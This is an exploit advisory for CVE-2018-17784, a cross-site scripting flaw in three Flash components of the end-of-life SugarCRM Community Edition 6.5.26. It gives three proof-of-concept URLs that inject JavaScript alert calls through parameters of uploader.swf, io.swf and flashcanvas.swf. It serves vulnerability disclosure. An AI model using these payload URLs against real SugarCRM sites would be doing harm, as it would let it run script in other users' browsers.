SugarCRM 6.5.26 - Cross-Site Scripting

# Exploit Title: SugarCRM 6.5.26 - Cross-Site Scripting
# Date: 2018-09-29
# Exploit Author: Purplemet Security
# Author Website: https://www.purplemet.com/
# Vendor Homepage: https://www.sugarcrm.com/
# Software Link: https://sourceforge.net/projects/sugarcrm/
# Version: 6.5.26
# Tested on: Ubuntu 16.04
# CVE : CVE-2018-17784

# Description
# A vulnerability in uploader.swf, io.swf and flashcanvas.swf in SugarCRM Community Edition 6.5.26 
# could allow an unauthenticated, remote attacker to conduct a cross-site scripting 
# (XSS) attack on a targeted system.
# SugarCRM Community Edition 6.5 had reached its end-of-life and is no longer supported. 
# 6.5.26 is the last version and no patches will be provided by the vendor.

# PoC:
# 1) 
http://192.168.13.37/sugarcrm/include/javascript/yui/build/uploader/assets/uploader.swf?allowedDomain=\%22})))}catch(e){alert%20(/XSS/);}

# 2) 
http://192.168.13.37/sugarcrm/include/javascript/yui3/build/io/io.swf?yid=\%22));}catch(e){alert('XSS');}

# 3) 
http://192.168.13.37/sugarcrm/include/SugarCharts/Jit/FlashCanvas/flashcanvas.swf?id=12345678\%22));}catch(e){alert(%27XSS%27)}